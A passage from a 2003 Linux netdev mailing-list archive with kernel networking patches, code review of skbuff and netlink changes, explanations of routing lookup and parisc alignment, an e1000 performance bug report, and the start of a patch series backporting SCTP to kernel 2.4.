--- include/linux/netdevice.h.orig 2003-09-08 21:50:31.000000000 +0200 +++ include/linux/netdevice.h 2003-09-17 17:27:58.000000000 +0200 @@ -830,9 +830,9 @@ local_irq_restore(flags); } -static inline void netif_poll_disable(struct net_device *dev) +static inline void netif_poll_sync(struct net_device *dev) { - while (test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state)) { + while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { /* No hurry. */ current->state = TASK_INTERRUPTIBLE; schedule_timeout(1); --- net/core/dev.c.orig 2003-09-08 21:50:06.000000000 +0200 +++ net/core/dev.c 2003-09-17 17:28:32.000000000 +0200 @@ -841,7 +841,7 @@ * engine, but this requires more changes in devices. */ smp_mb__after_clear_bit(); /* Commit netif_running(). */ - netif_poll_disable(dev); + netif_poll_sync(dev); /* * Call the device specific close. This cannot fail. Cheers. --ro From garzik@gtf.org Thu Sep 18 13:09:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 13:09:31 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IK8pFx030715 for ; Thu, 18 Sep 2003 13:09:12 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 4AA4B660B; Thu, 18 Sep 2003 15:38:42 -0400 (EDT) Date: Thu, 18 Sep 2003 15:38:42 -0400 From: Jeff Garzik To: Robert Olsson Cc: netdev@oss.sgi.com, davem@redhat.com, akpm@osdl.org Subject: Re: your mail Message-ID: <20030918193842.GC9605@gtf.org> References: <3F69FAF8.mail2M211N69M@robur.slu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F69FAF8.mail2M211N69M@robur.slu.se> User-Agent: Mutt/1.3.28i X-archive-position: 45 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 771 Lines: 27 On Thu, Sep 18, 2003 at 08:35:36PM +0200, Robert Olsson wrote: This issue is already fixed in 2.4 and 2.5 :) > --- include/linux/netdevice.h.orig 2003-09-08 21:50:31.000000000 +0200 > +++ include/linux/netdevice.h 2003-09-17 17:27:58.000000000 +0200 > @@ -830,9 +830,9 @@ > local_irq_restore(flags); > } > > -static inline void netif_poll_disable(struct net_device *dev) > +static inline void netif_poll_sync(struct net_device *dev) > { > - while (test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state)) { > + while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { > /* No hurry. */ > current->state = TASK_INTERRUPTIBLE; > schedule_timeout(1); This patch breaks tg3 build, and operation... tg3 wants a different operation than net/core/dev.c. Jeff From mitch@sfgoth.com Thu Sep 18 13:34:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 13:34:14 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IKY5Fx031353 for ; Thu, 18 Sep 2003 13:34:06 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8IKgtOv044511; Thu, 18 Sep 2003 13:42:55 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8IKgr2Y044510; Thu, 18 Sep 2003 13:42:53 -0700 (PDT) (envelope-from mitch) Date: Thu, 18 Sep 2003 13:42:53 -0700 From: Mitchell Blank Jr To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] more const in skbuff Message-ID: <20030918204253.GA43611@gaz.sfgoth.com> References: <20030918102709.34211ee5.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030918102709.34211ee5.shemminger@osdl.org> User-Agent: Mutt/1.4.1i X-archive-position: 46 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Content-Length: 799 Lines: 21 Stephen Hemminger wrote: > -static inline int skb_cloned(struct sk_buff *skb) > +static inline int skb_cloned(const struct sk_buff *skb) > { > return skb->cloned && atomic_read(&skb_shinfo(skb)->dataref) != 1; > } Are you sure that atomic_read() is garaunteed to take a const pointer? My understanding is that an arch could in theory take a spinlock (although none do currently) If it is garaunteed to take a const pointer then please fix the inline in include/asm-parisc/atomic.h or your patch will create a lot of warnings on that architecture. Other than that this patch is a strict subset of the "small skbuff.[ch] tweaks" patch I posted here 2 weeks ago: http://oss.sgi.com/projects/netdev/archive/2003-09/msg00036.html Never heard from davem one way or the other on that one. -Mitch From davem@pizda.ninka.net Thu Sep 18 20:00:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 20:00:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J30JFx022154 for ; Thu, 18 Sep 2003 20:00:19 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA05565; Thu, 18 Sep 2003 19:48:02 -0700 Date: Thu, 18 Sep 2003 19:48:02 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: laforge@netfilter.org, hno@marasystems.com, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030918194802.6726d53c.davem@redhat.com> In-Reply-To: <200309172317.38348.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <20030916140918.GF810@obroa-skai.de.gnumonks.org> <20030916181603.366b7c06.davem@redhat.com> <200309172317.38348.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 47 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 330 Lines: 12 On Wed, 17 Sep 2003 23:17:38 +0200 Bart De Schuymer wrote: > Let me try to convince you one more time :) Sure, but let me give you a suggestion, OK? Don't use an alignment attribute, just put the member of the struct at the very beginning and use "unsigned int" at a time op+comparisons. How about that? From davem@pizda.ninka.net Thu Sep 18 20:08:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 20:08:19 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J38DFx022687 for ; Thu, 18 Sep 2003 20:08:13 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA05598; Thu, 18 Sep 2003 19:55:25 -0700 Date: Thu, 18 Sep 2003 19:55:25 -0700 From: "David S. Miller" To: Sridhar Samudrala Cc: acme@conectiva.com.br, netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 Message-Id: <20030918195525.28c17cb1.davem@redhat.com> In-Reply-To: References: <20030912164628.GF8713@conectiva.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 48 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 808 Lines: 31 On Wed, 17 Sep 2003 16:06:18 -0700 (PDT) Sridhar Samudrala wrote: > I don't see this problem on i386, ia64 or ppc64. Can someone > familiar with parisc64 provide more details or submit a a patch to > fix this problem? As an example, if you have an structure member of type "char": struct foo { char a; char b[4]; }; And then try to do something like this: struct foo *p; unsigned int *v; v = (unsigned int *) (&p->b[0]); *v = 0; The build is going to explode on parisc because this simply is not allowed. You cannot access a structure member as an object which has larger alignment than is guarenteed for the type that member has. In the above example we're trying to access with 'unsigned int' alignment a member which is only guarenteed to have the alignment for a 'char'. From davem@pizda.ninka.net Thu Sep 18 20:10:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 20:10:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J3A5Fx023055 for ; Thu, 18 Sep 2003 20:10:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA05613; Thu, 18 Sep 2003 19:57:53 -0700 Date: Thu, 18 Sep 2003 19:57:53 -0700 From: "David S. Miller" To: Kristen Carlson Cc: netdev@oss.sgi.com Subject: Re: linux 2.4 routing algorithm? Message-Id: <20030918195753.676e76c8.davem@redhat.com> In-Reply-To: <20030917234753.GB11250@sirius.cs.pdx.edu> References: <20030917234753.GB11250@sirius.cs.pdx.edu> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 49 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1030 Lines: 21 On Wed, 17 Sep 2003 16:47:53 -0700 Kristen Carlson wrote: > I'm trying to understand the routing algorithm for linux 2.4. I thought > it would use a longest prefix match due to some documentation I had googled, > but the code in route.c looks like a hash. I probably just don't understand > how lpm would be coded in practice. Am I looking in the right place? Can > someone give me a clue about how this works? route.c is the routing cache, it caches prefix based lookup results so that a direct hash based lookup can be used for subsequent lookups on the same exact key. The prefix based lookup occurs in fib_hash.c, it uses 32+1 hash tables to implement the prefix based lookup, one for each bit in the IPV4 address plus an extra for "default" routes requiring matching of no bits. The hash tables are lookup up from most specific to least specific so that we truly get a longest matching prefix lookup. Any time the routing tables are changed, the routing cache in route.c is flushed completely. From davem@pizda.ninka.net Thu Sep 18 20:29:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 20:30:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J3TtFx026560 for ; Thu, 18 Sep 2003 20:29:56 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA05685; Thu, 18 Sep 2003 20:17:43 -0700 Date: Thu, 18 Sep 2003 20:17:43 -0700 From: "David S. Miller" To: Kristen Carlson Cc: netdev@oss.sgi.com Subject: Re: patricia tries vs. hash for routing? Message-Id: <20030918201743.11d88366.davem@redhat.com> In-Reply-To: <20030918172910.GA22091@sirius.cs.pdx.edu> References: <20030918172910.GA22091@sirius.cs.pdx.edu> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 50 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 790 Lines: 17 On Thu, 18 Sep 2003 10:29:10 -0700 Kristen Carlson wrote: > I'm wondering if somebody has already written a patch that replaces the > current routing algorithm (hash) with one that is based on a trie based > algorithm? I'm also wondering if anybody has done any performance > comparisons with very large route tables to see which one scales better? Patricia trees aren't going to help, most of the overhead in the routing lookup is in implementing the various fancy features our routing code supports. For example, equal cost multi-pathing and other such things. The front end routing cache is a straight hash and is thus the fastest way to lookup a route. In the presence of well behaved traffic and routing tables that do not change too often, it is optimal. From moz@compsoc.man.ac.uk Thu Sep 18 22:42:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Sep 2003 22:42:34 -0700 (PDT) Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J5gQFx030810 for ; Thu, 18 Sep 2003 22:42:27 -0700 Received: from compsoc.umu.man.ac.uk ([130.88.22.5] helo=mrtall.compsoc.man.ac.uk ident=exim) by probity.mcc.ac.uk with esmtp (Exim 4.20) id 1A06H9-0004Zs-3V for netdev@oss.sgi.com; Thu, 18 Sep 2003 22:25:19 +0100 Received: from moz by mrtall.compsoc.man.ac.uk with local (Exim 3.33 #1) id 1A06H8-000Mc8-00 for netdev@oss.sgi.com; Thu, 18 Sep 2003 22:25:18 +0100 Date: Thu, 18 Sep 2003 22:25:18 +0100 From: John Levon To: netdev@oss.sgi.com Subject: [PATCH] SEQ_START_TOKEN for af_netlink.c Message-ID: <20030918212518.GA86845@compsoc.man.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i X-Url: http://www.movementarian.org/ X-Record: King of Woolworths - L'Illustration Musicale X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A06H9-0004Zs-3V*TYJwbTnW9lw* X-archive-position: 51 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: levon@movementarian.org Precedence: bulk X-list: netdev Content-Length: 1149 Lines: 36 Seems this got missed in the sweep. regards john diff -Naurp -X dontdiff linux-cvs/net/netlink/af_netlink.c linux-fixes/net/netlink/af_netlink.c --- linux-cvs/net/netlink/af_netlink.c 2003-09-05 18:48:00.000000000 +0100 +++ linux-fixes/net/netlink/af_netlink.c 2003-09-18 22:45:19.000000000 +0100 @@ -988,7 +988,7 @@ static struct sock *netlink_seq_socket_i static void *netlink_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&nl_table_lock); - return *pos ? netlink_seq_socket_idx(seq, *pos - 1) : (void *) 1; + return *pos ? netlink_seq_socket_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *netlink_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -997,7 +997,7 @@ static void *netlink_seq_next(struct seq ++*pos; - if (v == (void *) 1) + if (v == SEQ_START_TOKEN) return netlink_seq_socket_idx(seq, 0); s = sk_next(v); @@ -1023,7 +1023,7 @@ static void netlink_seq_stop(struct seq_ static int netlink_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "sk Eth Pid Groups " "Rmem Wmem Dump Locks\n"); From linux-netdev@gmane.org Fri Sep 19 03:25:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 03:25:28 -0700 (PDT) Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JAPCFx015706 for ; Fri, 19 Sep 2003 03:25:14 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0IRX-0005DH-00 for ; Fri, 19 Sep 2003 12:24:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: netdev@oss.sgi.com Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A0IRW-0005D7-00 for ; Fri, 19 Sep 2003 12:24:50 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0IRq-0002J4-00 for ; Fri, 19 Sep 2003 12:25:10 +0200 From: Florian Zwoch Subject: e1000 -> 82540EM on linux 2.6.0-test[45] very slow in one direction Date: Fri, 19 Sep 2003 12:25:09 +0200 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030909 Thunderbird/0.2 X-Accept-Language: en-us, en X-archive-position: 52 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zwoch@backendmedia.com Precedence: bulk X-list: netdev Content-Length: 13370 Lines: 306 hi, this has been discussed very roughly before. but unfortunately no real solution has been brought up so far (or i have not read it yet). problem in short: the 82540EM intel gigabit adapter became very slow as of 2.6.0-test4. maybe earlier versions were als affected aswell, but i noticed this behaviour on test4 and later. the 'slowness' of the adapter only affects a certain data direction. i performed the following tests to show you what is wrong. dummy data file was 34257856 bytes (34.3MB). test machines were a pentium4 with the intel adapter, and a pentium2 266 with a lowcost realtek card (runs linux 2.4). SCP: e1000 -> 8139too 28.6KB/s e1000 <- 8139too 4.6MB/s SMB: e1000 -> 8139too 3.0MB/s e1000 <- 8139too 3.3MB/s FTP e1000 -> 8139too 54KB/s e1000 <- 8139too 9.4MB/s as you can see reveiving data is no problem at all (maybe another protocol can create some problems in this case?). but sending data is awesome slow! exception is the samba protocol. why is that? i thought that samba may use udp instead of tcp. but iptraf did not show any udp packets going around so i guess i was wrong. the problem gets worse while trying to test things over the internet. scp stalls incredibly often on my 256kbit/s upstream. so does ftp and irc dcc protocol. irc dcc ends up with sending 0.3KB/s on a megabyte sized file. before people again trying to tell me that some duplex settings could be messed up - then tell me why this should happen. when i boot into 2.4 kernel with that test machine the nic works without problems. so IF duplex stuff is the reason for the hickups something must be wrong with the duplex detection code in the new driver/kernel? i tried vanilla 2.6.0-test5, 2.6.0-test5-mm2 and mm3 + 2.6.0-test5-bk4. none of these gave any difference regarding network performance. any suggestions or patches will be appreaciated. thanks! Florian Zwoch following some systeminfo: ethtool -i eth0 driver: e1000 version: 5.2.16-k1 firmware-version: N/A bus-info: 0000:02:0e.0 ethtool -d eth0 MAC Registers ------------- 0x00000: CTRL (Device control register) 0x18340249 Duplex: full Endian mode (buffers): little Link reset: reset Set link up: 1 Invert Loss-Of-Signal: no Receive flow control: enabled Transmit flow control: enabled VLAN mode: disabled Auto speed detect: disabled Speed select: 1000Mb/s Force speed: no Force duplex: no 0x00008: STATUS (Device status register) 0x0000C343 Duplex: full Link up: link config TBI mode: disabled Link speed: 100Mb/s 0x00100: RCTL (Receive control register) 0x00008002 Receiver: enabled Store bad packets: disabled Unicast promiscuous: disabled Multicast promiscuous: disabled Long packet: disabled Descriptor minimum threshold size: 1/2 Broadcast accept mode: accept VLAN filter: disabled Cononical form indicator: disabled Discard pause frames: filtered Pass MAC control frames: don't pass Receive buffer size: 2048 0x02808: RDLEN (Receive desc length) 0x00001000 0x02810: RDH (Receive desc head) 0x00000005 0x02818: RDT (Receive desc tail) 0x00000000 0x02820: RDTR (Receive delay timer) 0x00000000 0x00400: TCTL (Transmit ctrl register) 0x0004010A Transmitter: enabled Pad short packets: enabled Software XOFF Transmission: disabled Re-transmit on late collision: disabled 0x03808: TDLEN (Transmit desc length) 0x00001000 0x03810: TDH (Transmit desc head) 0x000000B4 0x03818: TDT (Transmit desc tail) 0x000000B4 0x03820: TIDV (Transmit delay timer) 0x00000040 pci -vvv 00:00.0 Host bridge: Intel Corp. 82850 850 (Tehama) Chipset Host Bridge (MCH) (rev 04) Subsystem: Asustek Computer, Inc.: Unknown device 8030 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- TAbort- SERR- Reset- FastB2B- 00:1e.0 PCI bridge: Intel Corp. 82801BA/CA/DB/EB PCI Bridge (rev 04) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Reset- FastB2B- 00:1f.0 ISA bridge: Intel Corp. 82801BA ISA Bridge (LPC) (rev 04) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- [disabled] [size=128K] Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) Status: D0 PME-Enable- DSel=0 DScale=1 PME- Capabilities: [e4] PCI-X non-bridge device. Command: DPERE- ERO+ RBC=0 OST=0 Status: Bus=0 Dev=0 Func=0 64bit- 133MHz- SCD- USC-, DC=simple, DMMRBC=0, DMOST=0, DMCRS=0, RSCEM- Capabilities: [f0] Message Signalled Interrupts: 64bit+ Queue=0/0 Enable- Address: 0000000000000000 Data: 0000 From damien.morange@hp.com Fri Sep 19 05:52:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 05:53:02 -0700 (PDT) Received: from grerelint01.net.external.hp.com (grerelint01.net.external.hp.com [192.6.111.88]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JCqmFx023230 for ; Fri, 19 Sep 2003 05:52:49 -0700 Received: from garonne.grenoble.hp.com (garonne.grenoble.hp.com [15.128.14.138]) by grerelint01.net.external.hp.com (Postfix) with ESMTP id 5B43E37E8F; Fri, 19 Sep 2003 14:52:42 +0200 (CEST) Received: by garonne.grenoble.hp.com with Internet Mail Service (5.5.2655.55) id ; Fri, 19 Sep 2003 14:52:42 +0200 Message-ID: From: "MORANGE,DAMIEN (HP-France,ex1)" To: "'David S. Miller'" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com, samudrala@us.ibm.com, lksctp-developers@lists.sourceforge.net Subject: [PATCH] lksctp 0.6.9 backport on 2.4.23-pre4 Date: Fri, 19 Sep 2003 14:41:31 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C37EAB.5A49A8B0" X-archive-position: 53 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: damien.morange@hp.com Precedence: bulk X-list: netdev Content-Length: 22926 Lines: 714 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C37EAB.5A49A8B0 Content-Type: text/plain; charset="iso-8859-1" Hi, > Care to provide this as a BK tree I can pull from? > (please don't combine the patches into one big changeset, > keep them separate, comment them properly, and preserve the > revision history, that's the whole point of this) As requested, I have uploaded at: the 3 ChangeSets needed to backport LKSCTP 0.6.9 onto linux kernel 2.4.23-pre4. I also attach to this mail the output of: bk export -t patch -du -r1.1126,1.1128 > csets.patch.ChangeSets_1.1127_1.1128 Since ChangeSet 1.1129 adds lots of new files, I voluntarily skipped it to not overflow the mailing list. Comments welcome. Best regards, -- Damien Morange The ChangeSets are: 1.1127: [SCTP] LKSCTP 0.6.9 backport on kernel 2.4 patch #1 Adding the necessary changes to the kernel IP stack so that SCTP can perform Path MTU discovery. No other SCTP-specific changes. The resulting kernel is functionally unchanged. 1.1128: [SCTP] LKSCTP 0.6.9 backport on kernel 2.4 patch #2 This patch modifies the kernel existing files to add the SCTP functionality. It cannot work without the 3rd patch of this serie, but it is issued to better highlight the required changes. 1.1129: [SCTP] LKSCTP 0.6.9 backport on kernel 2.4 patch #3 This patch consists only in new files. It adds the SCTP protocol engine and the SCTP sockets layers to the IP stack. This patches requires patches #1 and #2 to be applied. ------_=_NextPart_000_01C37EAB.5A49A8B0 Content-Type: application/octet-stream; name="csets.patch.ChangeSets_1.1127_1.1128" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="csets.patch.ChangeSets_1.1127_1.1128" # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or = higher. # This patch includes the following deltas: # ChangeSet 1.1126 -> 1.1128=20 # include/linux/sysctl.h 1.32 -> 1.33 =20 # kernel/ksyms.c 1.78 -> 1.79 =20 # include/net/tcp.h 1.23 -> 1.24 =20 # net/ipv4/af_inet.c 1.11 -> 1.12 =20 # net/Config.in 1.13 -> 1.14 =20 # net/socket.c 1.16 -> 1.17 =20 # include/net/snmp.h 1.5 -> 1.6 =20 # include/linux/net.h 1.3 -> 1.4 =20 # net/netsyms.c 1.43 -> 1.45 =20 # net/Makefile 1.7 -> 1.8 =20 # include/linux/in.h 1.2 -> 1.3 =20 # net/ipv6/tcp_ipv6.c 1.25 -> 1.26 =20 # net/ipv6/af_inet6.c 1.11 -> 1.12 =20 # include/net/ip.h 1.3 -> 1.4 =20 # net/ipv4/tcp_output.c 1.15 -> 1.16 =20 # include/net/sock.h 1.15 -> 1.16 =20 # include/net/inet_common.h 1.1 -> 1.2 =20 # net/ipv6/Makefile 1.2 -> 1.3 =20 # include/linux/socket.h 1.7 -> 1.8 =20 # include/net/ipv6.h 1.5 -> 1.6 =20 # Documentation/Configure.help 1.193 -> 1.194 =20 # net/ipv4/ip_output.c 1.14 -> 1.15 =20 # (new) -> 1.1 net/ipv6/ipv6_syms.c # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/19 damien.morange@hp.com 1.1127 # [SCTP] LKSCTP 0.6.9 backport on kernel 2.4 patch #1 #=20 # Adding the necessary changes to the kernel IP stack so that SCTP # can perform Path MTU discovery. # No other SCTP-specific changes. # The resulting kernel is functionally unchanged. # -------------------------------------------- # 03/09/19 damien.morange@hp.com 1.1128 # [SCTP] LKSCTP 0.6.9 backport on kernel 2.4 patch #2 #=20 # This patch modifies the kernel existing files to add the SCTP # functionality. # It cannot work without the 3rd patch of this serie, # but it is issued to better highlight the required changes. # -------------------------------------------- # diff -Nru a/Documentation/Configure.help b/Documentation/Configure.help --- a/Documentation/Configure.help Fri Sep 19 15:34:00 2003 +++ b/Documentation/Configure.help Fri Sep 19 15:34:00 2003 @@ -6101,6 +6101,61 @@ =20 It is safe to say N here for now. =20 +The SCTP Protocol (EXPERIMENTAL) +CONFIG_IP_SCTP + Stream Control Transmission Protocol + + From RFC 2960 (http://www.ietf.org/rfc/rfc2960.txt) + + "SCTP is a reliable transport protocol operating on top of a + connectionless packet network such as IP. It offers the following + services to its users: + + -- acknowledged error-free non-duplicated transfer of user data, + -- data fragmentation to conform to discovered path MTU size, + -- sequenced delivery of user messages within multiple streams, + with an option for order-of-arrival delivery of individual user + messages, + -- optional bundling of multiple user messages into a single SCTP + packet, and + -- network-level fault tolerance through supporting of multi- + homing at either or both ends of an association." + + This protocol support is also available as a module ( =3D code which + can be inserted in and removed from the running kernel whenever you + want). The module will be called sctp. If you want to compile it + as a module, say M here and read . + + If in doubt, say N. + +SCTP: Use old checksum (Adler-32) +CONFIG_SCTP_ADLER32 + RCF2960 currently specifies the Adler-32 checksum algorithm for = SCTP. + This has been deprecated and replaced by an algorithm now referred + to as crc32c. + + If you say Y, this will use the Adler-32 algorithm, this might be=20 + useful for interoperation with downlevel peers.=20 + + If unsure, say N. =20 + +SCTP: Debug messages +CONFIG_SCTP_DBG_MSG + If you say Y, this will enable verbose debugging messages.=20 + + If unsure, say N. However, if you are running into problems, use=20 + this option to gather detailed trace information + +SCTP: Debug object counts +CONFIG_SCTP_DBG_OBJCNT + If you say Y, this will enable debugging support for counting the=20 + type of objects that are currently allocated. This is useful for=20 + identifying memory leaks. If the /proc filesystem is enabled this=20 + debug information can be viewed by=20 + 'cat /proc/net/sctp/sctp_dbg_objcnt' + + If unsure, say N + Kernel httpd acceleration CONFIG_KHTTPD The kernel httpd acceleration daemon (kHTTPd) is a (limited) web diff -Nru a/include/linux/in.h b/include/linux/in.h --- a/include/linux/in.h Fri Sep 19 15:34:00 2003 +++ b/include/linux/in.h Fri Sep 19 15:34:00 2003 @@ -41,6 +41,7 @@ IPPROTO_ESP =3D 50, /* Encapsulation Security Payload = protocol */ IPPROTO_AH =3D 51, /* Authentication Header protocol = */ IPPROTO_COMP =3D 108, /* Compression Header = protocol */ + IPPROTO_SCTP =3D 132, /* Stream Control Transport Protocol */ =20 IPPROTO_RAW =3D 255, /* Raw IP packets */ IPPROTO_MAX diff -Nru a/include/linux/net.h b/include/linux/net.h --- a/include/linux/net.h Fri Sep 19 15:34:00 2003 +++ b/include/linux/net.h Fri Sep 19 15:34:00 2003 @@ -141,6 +141,7 @@ const struct iovec * iov, long count, long size); extern struct socket *sockfd_lookup(int fd, int *err); =20 +extern int sock_map_fd(struct socket *sock); extern int net_ratelimit(void); extern unsigned long net_random(void); extern void net_srandom(unsigned long); diff -Nru a/include/linux/socket.h b/include/linux/socket.h --- a/include/linux/socket.h Fri Sep 19 15:34:00 2003 +++ b/include/linux/socket.h Fri Sep 19 15:34:00 2003 @@ -242,6 +242,7 @@ #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 +#define SOL_SCTP 132 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 diff -Nru a/include/linux/sysctl.h b/include/linux/sysctl.h --- a/include/linux/sysctl.h Fri Sep 19 15:34:00 2003 +++ b/include/linux/sysctl.h Fri Sep 19 15:34:00 2003 @@ 